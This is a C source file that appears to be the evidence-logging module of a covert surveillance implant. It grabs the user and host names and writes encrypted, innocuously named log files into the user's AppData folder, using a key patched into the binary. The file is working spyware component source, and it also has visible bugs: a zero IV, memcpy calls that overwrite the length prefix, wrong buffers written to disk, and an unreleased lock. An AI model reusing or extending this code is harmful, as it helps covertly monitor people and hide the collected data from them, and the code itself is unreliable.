#include "Evidence.h"




BYTE* EvidenceCreateHeader(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pAdditionalDataBuffer, DWORD dwAdditionalDataBufferLength, DWORD* dwOutLength)
{

	FILETIME ft;
	CHAR userName[256];
	CHAR hostName[256];
	EVIDENCE evidenceHeader;
	DWORD dwHeaderLength;
	BYTE *header, *ptr;

	if (dwOutLength)
		*dwOutLength = 0;


	/* get header fields values */
	SecureZeroMemory(userName, 256);
	SecureZeroMemory(hostName, 256);

	userName[0] = '-';
	hostName[0] = '-';

	API_GETENVIRONMENTVARIABLEA("USERNAME", userName, sizeof(userName));
	API_GETENVIRONMENTVARIABLEA("COMPUTERNAME", hostName, sizeof(hostName));
	API_GETSYSTEMTIMEASFILETIME(&ft);

	/* fill the header in */
	evidenceHeader.uVersion = EVIDENCE_VERSION;
	evidenceHeader.uLogType = dwModuleTag;
	evidenceHeader.uUserIdLength = (UINT) API_STRLEN(userName);
	evidenceHeader.uDeviceIdLength = (UINT) API_STRLEN(hostName);
	evidenceHeader.uSourceIdLength = 0;

	if (pAdditionalDataBuffer)
		evidenceHeader.uAdditionalDataLength = dwAdditionalDataBufferLength;
	else
		evidenceHeader.uAdditionalDataLength = 0;

	evidenceHeader.uHTimestamp = ft.dwHighDateTime;
	evidenceHeader.uLTimestamp = ft.dwLowDateTime;

	/* get total header length plus padding plus cleartext header length */
	dwHeaderLength = sizeof(DWORD) + sizeof(EVIDENCE) + evidenceHeader.uDeviceIdLength + evidenceHeader.uUserIdLength + evidenceHeader.uSourceIdLength + evidenceHeader.uAdditionalDataLength;

	header = API_ALLOC(pRuntime, dwHeaderLength);

	ptr = header;

	/* write header */
	API_MEMCPY(ptr, &dwHeaderLength, sizeof(DWORD));
	ptr += sizeof(DWORD);

	API_MEMCPY(ptr, &evidenceHeader, sizeof(EVIDENCE));
	ptr += sizeof(EVIDENCE);

	API_MEMCPY(ptr, hostName, evidenceHeader.uDeviceIdLength);
	ptr += evidenceHeader.uDeviceIdLength;

	API_MEMCPY(ptr, userName, evidenceHeader.uUserIdLength);
	ptr += evidenceHeader.uUserIdLength;

	if (pAdditionalDataBuffer)
		API_MEMCPY(ptr, pAdditionalDataBuffer, dwAdditionalDataBufferLength);


	if (dwOutLength)
		*dwOutLength = dwHeaderLength;

	return header;

}


VOID* EvidenceOpen(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pAdditionalBuffer, DWORD dwAdditionalBufferLength)
{
#define MAX_FILE_RETRY_COUNT 20

	FILETIME ft;
	HANDLE hFile = INVALID_HANDLE_VALUE;
	DWORD dwRetryCount = 0;
	CHAR logFilePath[MAX_PATH];
	BYTE* evidenceHeader;
	CHAR appData[MAX_PATH]; // tmp
	CHAR tmpPath[MAX_PATH];

	/* check quota */

	/* use ft to compose a unique filename */
	API_GETSYSTEMTIMEASFILETIME(&ft);


	/* create file */
	do {
		dwRetryCount++;
		if (dwRetryCount > MAX_FILE_RETRY_COUNT)
			return INVALID_HANDLE_VALUE;


		API__SNPRINTF_S(tmpPath, sizeof(tmpPath), _TRUNCATE, "%.1XLOGF%.4X%.8X%.8X.log", 0, dwModuleTag, ft.dwHighDateTime, ft.dwLowDateTime);

		API_GETENVIRONMENTVARIABLEA("APPDATA", appData, sizeof(appData));

		API__SNPRINTF_S(logFilePath, sizeof(logFilePath), _TRUNCATE, "%s\\%s", appData, tmpPath);

		hFile = API_CREATEFILEA(logFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);

		ft.dwLowDateTime++;
		if (ft.dwLowDateTime == 0)
			ft.dwHighDateTime++;

	} while (hFile == INVALID_HANDLE_VALUE);


	/* write the header in the file */
	DWORD dwHeaderLength;
	evidenceHeader = EvidenceCreateHeader(pRuntime, dwModuleTag, pAdditionalBuffer, dwAdditionalBufferLength, &dwHeaderLength);

	
	if (!evidenceHeader)
	{
		API_CLOSEHANDLE(hFile);
		API_DELETEFILE(logFilePath);
		return INVALID_HANDLE_VALUE;
	}
	

	/*	crypt all the crap, format:
		[header length in cleartext][padded header ciphertext]
	*/
	DWORD dwClearTextLength = dwHeaderLength - sizeof(DWORD);
	DWORD dwPaddingLength = (dwClearTextLength % 16) ? (16 - (dwClearTextLength % 16)) : 0;

	DWORD dwPaddedLength = dwClearTextLength + dwPaddingLength;
	DWORD dwFinalLength = 4 + dwPaddedLength; // [header length][padded cipher text]

	BYTE* cipherTextPadded = API_ALLOC(pRuntime, dwPaddedLength);
	BYTE* clearTextPadded = API_ALLOC(pRuntime, dwPaddedLength);

	BYTE iv[16];
	SecureZeroMemory(iv, 16);
	

	API_MEMCPY(clearTextPadded, evidenceHeader + sizeof(DWORD), dwHeaderLength - sizeof(DWORD));

	AES128_CBC_encrypt_buffer(cipherTextPadded, clearTextPadded, dwPaddedLength, pRuntime->lpBinPatchVariables->EncryptionKey.pEncryptionKey, iv);

	/*	prepare crypted evidence and write it */
	DWORD dwCryptedEvidenceLengthOut = 0;
	BYTE* cryptedEvidence = API_ALLOC(pRuntime, dwPaddedLength + sizeof(DWORD));
	API_MEMCPY(cryptedEvidence, &dwPaddedLength, sizeof(DWORD));
	API_MEMCPY(cryptedEvidence, cipherTextPadded, dwPaddedLength);

	API_WRITEFILE(hFile, cryptedEvidence, dwFinalLength, &dwCryptedEvidenceLengthOut, NULL);

	/* free */
	API_FREE(pRuntime, evidenceHeader);
	API_FREE(pRuntime, clearTextPadded);
	API_FREE(pRuntime, cipherTextPadded);
	API_FREE(pRuntime, cryptedEvidence);

	/* update quota */

	return hFile;

}

VOID EvidenceClose(PRUNTIME pRuntime, VOID* pEvidenceHandle)
{
	API_FLUSHFILEBUFFERS(pEvidenceHandle);
	API_CLOSEHANDLE(pEvidenceHandle);
}

DWORD EvidenceAdd(PRUNTIME pRuntime, VOID* pEvidenceHandle, BYTE* pDataBuffer, DWORD dwDataBufferLength)
{
	DWORD dwOut = 0;

	if (dwDataBufferLength && pDataBuffer != INVALID_HANDLE_VALUE)
	{
		/* format: [cleartext length][padded ciphertext buffer] */

		/* crypt */
		DWORD paddingLength = (dwDataBufferLength % 16) ? (16 - (dwDataBufferLength % 16)) : 0;
		DWORD dwPaddedLength = dwDataBufferLength + paddingLength;
		DWORD dwFinalLength = 4 + dwPaddedLength; // [length][padded cipher text]

		BYTE iv[16];
		SecureZeroMemory(iv, 16);

		BYTE* cipherText = API_ALLOC(pRuntime, dwPaddedLength);
		BYTE* clearText = API_ALLOC(pRuntime, dwPaddedLength);
		
		API_MEMCPY(clearText, pDataBuffer, dwDataBufferLength);

		AES128_CBC_encrypt_buffer(cipherText, clearText, dwPaddedLength, pRuntime->lpBinPatchVariables->EncryptionKey.pEncryptionKey, iv);

		/*	prepare crypted evidence and write it */
		BYTE* cryptedEvidence = API_ALLOC(pRuntime, dwFinalLength);
		API_MEMCPY(cryptedEvidence, &dwPaddedLength, sizeof(DWORD));
		API_MEMCPY(cryptedEvidence, cipherText, dwPaddedLength);

		API_WRITEFILE(pEvidenceHandle, cipherText, dwFinalLength, &dwOut, NULL);

		/* free */
		API_FREE(pRuntime, cipherText);
		API_FREE(pRuntime, clearText);
		API_FREE(pRuntime, cryptedEvidence);
	}

	return dwOut;
}


/* functions handling handle data structure */
VOID* EvidenceFindHandle(PRUNTIME pRuntime, DWORD dwModuleTag)
{
	PVARIABLES_EVIDENCE pVariables = (PVARIABLES_EVIDENCE)(pRuntime->pModuleSpecificData[INDEX_EVIDENCE]->lpVariables);

	DWORD i, out = 0;

	// Inizializza la tabella dei log
	for (i = 0; i < MAX_EVIDENCE_HANDLES; i++) {
		if (pVariables->evidencesHandles[i].dwModuleTag == dwModuleTag)
			return pVariables->evidencesHandles[i].hEvidenceFile;
	}
	return NULL;
}


/* called by events-actions engine startup */
VOID EvidencesHandlesInitialize(PRUNTIME pRuntime)
{
	PVARIABLES_EVIDENCE pVariables = (PVARIABLES_EVIDENCE)(pRuntime->pModuleSpecificData[INDEX_EVIDENCE]->lpVariables);

	DWORD i;
	
	API_ENTERCRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);

	// Inizializza la tabella dei log, TODO critical  section
	for (i = 0; i<MAX_EVIDENCE_HANDLES; i++) {
		pVariables->evidencesHandles[i].dwModuleTag = NO_TAG_ENTRY;
		pVariables->evidencesHandles[i].hEvidenceFile = INVALID_HANDLE_VALUE;
	}

	API_LEAVECRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);
}

/* called by each module startup */
BOOL EvidenceOpenModule(PRUNTIME pRuntime, DWORD dwModuleTag)
{
	PVARIABLES_EVIDENCE pVariables = (PVARIABLES_EVIDENCE)(pRuntime->pModuleSpecificData[INDEX_EVIDENCE]->lpVariables);

	DWORD i;

	VOID* handle = NULL;

	/* if a tag is already existing, we're happy */
	handle = EvidenceFindHandle(pRuntime, dwModuleTag);
	if (handle != NULL)
		return TRUE;
	
	API_ENTERCRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);

	/* find an entry for the new module */
	for (i = 0; i < MAX_EVIDENCE_HANDLES; i++)
	{
		if (pVariables->evidencesHandles[i].dwModuleTag == NO_TAG_ENTRY)
		{
			HANDLE handle = EvidenceOpen(pRuntime, dwModuleTag, NULL, 0);

			if (handle != INVALID_HANDLE_VALUE)
			{
				pVariables->evidencesHandles[i].dwModuleTag = dwModuleTag;
				pVariables->evidencesHandles[i].hEvidenceFile = handle;
				return TRUE;
			}
		}
	}

	API_LEAVECRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);

	return FALSE;
}


DWORD EvidenceAddModule(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pDataBuffer, DWORD dwDataBufferLength)
{
	DWORD dwOut = 0;
	VOID* handle = EvidenceFindHandle(pRuntime, dwModuleTag);
		
	if (handle != NULL)
		dwOut = EvidenceAdd(pRuntime, handle, pDataBuffer, dwDataBufferLength);
		
	return dwOut;
}

VOID EvidenceCloseModule(PRUNTIME pRuntime, DWORD dwModuleTag)
{
	PVARIABLES_EVIDENCE pVariables = (PVARIABLES_EVIDENCE)(pRuntime->pModuleSpecificData[INDEX_EVIDENCE]->lpVariables);

	DWORD i;
	DWORD dwOut = 0;
	//VOID* handle = EvidenceFindHandle(pRuntime, dwModuleTag);

	API_ENTERCRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);

	/* find an entry for the new module */
	for (i = 0; i < MAX_EVIDENCE_HANDLES; i++)
	{
		if (pVariables->evidencesHandles[i].dwModuleTag == dwModuleTag)
		{
			API_CLOSEHANDLE(pVariables->evidencesHandles[i].hEvidenceFile);

			pVariables->evidencesHandles[i].dwModuleTag = NO_TAG_ENTRY;
			pVariables->evidencesHandles[i].hEvidenceFile = INVALID_HANDLE_VALUE;
		}
	}

	API_LEAVECRITICALSECTION(&pVariables->evidenceHandlesCriticalSection);
	
}

INT EvidenceWriteModule(PRUNTIME pRuntime, DWORD dwModuleTag, BYTE* pAdditionalBuffer, DWORD dwAdditionalBufferLength, BYTE* pDataBuffer, DWORD dwDataBufferLength)
{

	VOID* pEvidenceHandle = EvidenceOpen(pRuntime, dwModuleTag, pAdditionalBuffer, dwAdditionalBufferLength);
	EvidenceAdd(pRuntime, pEvidenceHandle, pDataBuffer, dwDataBufferLength);
	EvidenceClose(pRuntime, pEvidenceHandle);

	return 0;
}


VOID EvidenceLoad(PRUNTIME* ppRuntime)
{
	PRUNTIME pRuntime = *ppRuntime;

	/* 1] allocate and assign */
	PMODULE_SPECIFIC_DATA pEvidenceSpecificData = (PMODULE_SPECIFIC_DATA)API_ALLOC(pRuntime, sizeof(MODULE_SPECIFIC_DATA));

	pRuntime->pModuleSpecificData[INDEX_EVIDENCE] = pEvidenceSpecificData;

	PVARIABLES_EVIDENCE pVariablesEvidence = API_ALLOC(pRuntime, sizeof(VARIABLES_EVIDENCE));
	
	pRuntime->pModuleSpecificData[INDEX_EVIDENCE]->lpVariables = pVariablesEvidence;

	/* 2] setup */
	API_INITIALIZECRITICALSECTION(&pVariablesEvidence->evidenceHandlesCriticalSection);

	EvidencesHandlesInitialize(pRuntime);

	



}